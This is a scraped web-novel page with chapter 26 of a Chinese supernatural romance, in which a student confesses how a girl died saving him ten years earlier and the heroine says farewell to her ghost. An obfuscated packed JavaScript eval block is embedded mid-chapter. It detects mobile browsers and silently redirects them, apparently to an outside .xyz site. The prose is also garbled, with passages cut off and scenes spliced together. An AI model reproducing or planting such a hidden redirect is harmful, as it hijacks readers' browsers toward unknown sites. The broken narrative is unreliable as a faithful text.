123读书网 > 穿越小说 > 漂亮哭包靠沙雕风靡娱乐圈 > 第26章 (二更合一)
    “你都知道了,你会告诉他们的!他们会把我抓起来的!是不是!”赵强扬起的尾音发抖,缓缓举起了手里的钢管。


    解彗支起腿,目光却直视着他:“对,我都知道了。”


    赵强呼吸停了一瞬。


    “李小清坠楼的那天中午,你找玲子表白,你们班上几个人约好了就一起聚集在天台。”她缓步朝他走去。


    “你不要过来!”赵强晃了晃手里的钢管,眼里写满了慌张。


    解彗异常冷静,清亮的声音穿透了满室的灰尘:“那个时候宿舍楼没有别人,没有别人看到这一切。”


    “所以你成功瞒了十年。”


    赵强脚跟后退了半步,抵在了架子上。


    “但是你没有想到,她在死后变成了鬼,更没有想到,我来了,我能看见她、跟她说话。”


    赵强身形晃了晃,豆大的汗珠从额角滚落,牙关咬紧。


    “你还故意误导我,将我的注意力引到黎书身上,让我怀疑是他情杀,又引到宿管阿姨身上,让我以为是她跟妈妈争吵,赌气自杀。”


    他的手指用力捏紧得发白。


    “可到底还是没能瞒住,你怕你的秘密泄露,现在还要除掉我,是吗?”


    赵强像是一张弓,绷紧到极致,动弹不得。


    “那个中午,是你把她……”


    未及她说完,赵强就爆发出了一声吼叫:“可是我也不想的!我根本没让她救我啊!!”


    解彗瞳孔一缩。


    “救我”。


    跟她想的不一样。


    赵强好像被带入了一段痛苦的回忆,不知是汗水还是泪水混合着,在他的脸上蔓延:“都怪他们,是他们先起哄。”


    “他们说,如果我翻到天台的栏杆外,玲子就会考虑考虑。”


    “我知道,他们一直瞧不起我,一直说我是胆小鬼、窝囊废,不是为了表白,我只是想争口气,想证明我不是胆小鬼!”


    “如果我不去的话,他们会永远嘲笑我。”


    解彗的手慢慢攥紧了。


    他的声音与呼吸一样越来越急,哭声溢出:“可是我坐到栏杆外之后上课铃就响了!他们看都没看我一眼,就哄着笑着全回教室了,没人管我,我想要站起来,结果脚滑了……”


    他渐渐哭得几乎口齿不清:“我,我吊在栏杆外!就剩我一个人!我叫救命也没人听见!”


    “我真的以为我要死了


    ,我要摔死了,然后……然后李小清出现了……


    解彗难以自抑想像着当时的画面,李小清那时候是不是正在宿舍里,想要修复她心爱的二胡?


    然后她听到了呼救声,上了天台。


    赵强仿佛被一只巨大的手挤压着,难以呼吸,缓缓蹲下了身:“她朝我伸出了手。


    随后,是长久的沉默。


    许久后,才从他膝间传来轻轻的一句:“我爬上去了,可是,她掉下去了。


    他用力抱住头,痛哭出声:“可是我又有什么错呢?!谁知道她会救我的啊……呜呜呜……


    是啊,她明明在课堂上说过,如果是她遇到这种事,她绝对不会救人,她自己的生命最宝贵,别人的死活与她无关。


    解彗闭上了眼:“她为了救你而死,你却瞒了十年。


    “我不敢啊!我不敢说出来啊!!那是一条人命啊!


    “呜……我背上了一条命啊……从此以后,我的人生全毁了……


    下一秒,巨大的踹门声遮盖住了赵强的滔天的哭声。


    视网膜中,房门大开,天光大亮。


    解彗眼也不眨,看着那个背着光走出的,她熟悉的人影。


    他后面,是没什么表情的黎书,还有节目组的摄像机。


    最后,站着的是黎书的那些同学们,他们表情惶惑不安,摇着头,发出不敢置信的惊呼声:“怎么会呢……


    她的目光一一划过这些人,机械地辨认着。


    她现在知道了,他们,就是当年那些围观赵强表白、怂恿他爬到栏杆外的同学。


    这些人欺负了赵强,而赵强害死了李小清。


    这些年间,所有人都猜测,那样孤僻,那样冷漠的李小清,是因为承受不了压力自杀、是被霸凌自杀,是为情自杀……


    他们不屑一顾,他们非议她的前生,他们讳莫如深。


    唯独没有人猜到,这样一个冷酷生命的消亡是为了救人。


    一双有力的手握住了她的肩膀,将她从天外拉回,深沉的目光在她泛红的眼眶上定格。


    “我没事。她轻声说。


    “谢固,我只是觉得,真是太可笑,真是太荒唐了,她竟然是因为这个而死的。


    解彗低着头:“一个人有很多种死法,可她偏偏……


    剩下的声音全都哽咽在喉咙里,怎么都发不出来,“……她可以自私的,她自己说的,别人的死活关她什么事……


    天空中,徘徊已久的阴云散开,沉沉积压的雨点也终于落下,划开天幕。


    她看着由小转大的雨,低声说:“我还有一件重要的事要做。


    她走到了赵强的身边,语气平静:“天台的钥匙给我。


    “啪嗒,他的脚边落下了一串钥匙。


    解彗弯腰捡起,然后一头扎入了细密的雨幕中。


    她淌过泥地,跨过水塘,全身都被淋得湿透了,跑到宿舍楼的时候,肺里热辣一片,耳膜疯狂鼓动,只能听见自己的喘息声与剧烈的心跳。


    她抹了把脸,当眼帘上的雨水掉落,视线终于清晰。


    她扫视了一圈,一楼没有宿管阿姨的踪影,接着便冲向楼梯朝天台飞奔而去。


    到了七楼之上时,她的腿已经软了,靠着一口气,搀着扶手勉强站直。


    看到坐着的人影,喘息声被压抑得轻了下来。


    天台的大门照旧锁着,宿管阿姨坐在门前,正抱着那把二胡,眼神空洞。


    她走上前,慢慢蹲下身:“阿姨,小清在的。


    宿管的目光缓缓移到她的脸上。


    解彗只是说不停地说:“她在这里的,她一直都在的!


    突然,她想到什么,哆嗦着手拿出手机,飞快地打开了那张她与李小清的合影:“你看,我跟她还拍过合照——


    目光触及照片的那刻,声音被按了暂停键。


    照片上,还是只有她一个人。


    即使是想给她的母亲看,也做不到。


    她无能为力。


    这样想着,眼泪不由自主就落了下来。


    她抹掉眼泪,掏出那串钥匙,一个一个地试,手指颤抖着,钥匙也对不准锁孔,好几次手指一滑,整串钥匙便全部脱落。


    她咬着牙,强忍住心里的烦躁,终于,有一把钥匙成功转动了锁芯。


    她将铁链一圈圈扯下,丢开,随后用力推开大门。


    天台上并没有李小清的踪影。


    “小清!李小清!你出来啊!


    “她是你妈妈!她来看你了


    “李小清!!整个天台都回荡着她的呼喊,可是没有人。


    “阿姨,她真的就在这里,我们昨晚还在这里聚过,她教我拉二胡,我们经常在这里见面……解彗语无伦次。


    她一边流着眼泪一边说:“她当时就飘在那个位置,她还笑我,说你怎么突然喜欢拉二胡了……


    “阿姨,你相信我,小清她


    了挥手:“小解,说后悔就不酷了。


    说完,最后的虚影也消失了。


    天台重新归于死寂,好像除了她之外,再无其他人或鬼来过。


    解彗在天台站了很久很久,直到冻得瑟瑟发抖,一张宽大柔软的毛巾将她从头到脚包裹。


    谢固明明也看不见鬼魂,却给解彗留足了时间,却知道要来这里找她,就好像清楚,她是来跟李小清告别的一样。


    当坚固的依靠与热意接近,解彗那几乎随着李小清飘散的神魂终于归位。


    她看不见他的脸,声音与泪水却都毫无保留地没入他滚烫的胸膛,长久以来的难过终于爆发出来:“你们都看不见她!可是!为什么要让我看见呢?!为什么……只让我一个人看见呢……


    无处宣泄的眼泪在此刻悉数落下,不知道混合了多少她来到这个世界以来积攒的害怕与无助。


    她哭了很久。


    奇怪的,在谢固怀里,这些一直困扰着她的情绪随着眼泪的排出,渐渐消散了。


    直到再度平静下来的时候,她才发现手机上全是未接电话和消息,所有人都在问她去哪儿了,有演出之前的,也有刚才的。


    原来,校庆演出已经结束了。


    而十年前的这一出闹剧也终于随之落幕,另一场批判的狂欢在即。


    她平静地找到了宿管阿姨,将小清最后的话告诉了她。


    阿姨眼里闪动着水光:“原来,她真的在这里。十年。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017969|162132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “谢谢你。


    离开的时候,解彗想了又想,最后还是没有主动提起。


    但也许宿管阿姨已经知道了。


    那天中午,她帮李小清去买新的二胡了。


    同一时刻,她的女儿挂在楼顶孤立无援。


    阴差阳错,从那天之后,宿管遍寻无果,再也没能听到那声道歉,再也没有见过她的女儿。


    直到她的女儿真的消失于人世间。


    人生总是有些遗憾难以圆满,有的小得转瞬就能忘,有的生死两茫茫。


    最后,她找到了黎书。


    见到他的时候,他正静静地坐在办公桌前,将一份份试卷整理好归档好。


    她走到他面前,目光看着地上随处放置的椅子:“黎书,你的那些同学本不该收到校庆的请柬,是你刻意发给他们的,对吗?


    黎书嘴角浅浅地上扬。


    “哦,不,或许,我该叫你黎


    “你让我离他远点,是因为你知道他曾经亲手害了自己的哥哥,以防万一他也会伤害我。”


    “可是,你为什么不在一开始告诉我呢?”


    解彗只是随口一问,她本以为谢固照旧不会回答,可那双无波无澜的眸子扫过她,说:“我不可以插手,也不可以改变。”


    是个意料之外的回答。


    “谢固啊,你到底,是什么人呢?”她下意识喃喃自语。


    这次,谢固没有给她答案。


    两人沿着石板路一路向前。


    路过冷清的校史馆,她不知怎么突然萌生出了进去看看的想法。或许,会在这里看到谢家的资本迁入的历史,说不定还有谢家人的照片。


    这里平时是不开放的,只是因为这周的校庆,才开了半天。


    两人并肩走了进去。


    玻璃展柜里,放着一张张充满历史感的老物件,大牌匾,奠基石,从黑白照片到彩色照片,昭示着它从原身的旧时学堂,到如今私立学校的历史变迁。


    穿过长廊,两侧的墙壁上挂满了记载建校以来重要人物的展板。


    展板上几乎都是历任校长的照片,只有两张不同,他们只是普通职工。


    她缓缓看向下面的介绍——沈平仁,穆勇。


    “务坚学堂成立第二年,土匪进镇屠杀示威,老师们将所有学生藏入地窖,独自应对。”


    “土匪先后抓了新来的老师沈平仁和厨房帮工穆勇逼问学生藏身处,两人不说,遂一一被吊死在树上。遇难时,沈平仁二十三岁,穆勇二十五岁。”


    她一遍又一遍地读着,耳边回响起了两道嬉笑的声音——


    “看到啦!其实早就看到了!”


    “谢谢你这段时间跟我们聊天!知道外头学校很多,日子很昌平,真是太好啦!”


    “我当时挂上这棵树的时候,它也没比你高多少,谁知道后来几年疯长,我俩就越升越高……”


    “挂得高也好啊,高能看得远……”


    高得可以看清整座校园。


    眼眶中一阵热意翻滚,解彗再次缓缓看向那两张照片。


    斯文俊秀,面带笑意,丝毫没有树上见到的青紫可怖。


    泪珠滑落时,刹那间,一种凝滞感席卷了全身,她猛地转过头——


    身旁的谢固依旧维持着微微侧身向她的姿势,半垂的眼帘没有丝毫角度的变化。


    周围一片死寂,刚才尚能听到的鸟鸣声与流水声停止。


    时间又被定格了。


    “解小姐。”果然,熟悉的苍老的声音响起,“你在哭。”


    “你是在为这些鬼魂而哭吗?”


    解彗没有说话。


    “你是在为你的无能为力而哭吗?一而再再而三地见证,可你既改变不了他们的生前,也挽留不住身后。”那极具穿透力的声音中满是悲悯。


    解彗垂眸。


    他说:“不过,你是特别的,我上次说过的话,依旧奏效。”


    “只要成为神明,你就可以重塑这个世界。那些留不住的,你都能留,那些改变不了的,都能随你心意。”


    “没有任何代价。”这声音仿佛充满了诱惑力:“要试试吗?这花不了太长的时间的,如果不成功,你随时可以抽身,回到你的世界去。”


    死一般的静寂中,终于,解彗开口了,她声音低哑,轻得几乎听不见:“成为神明,要怎么做?”


    作者有话说:


    看到有的小可爱说害怕,摸摸头,吓不着。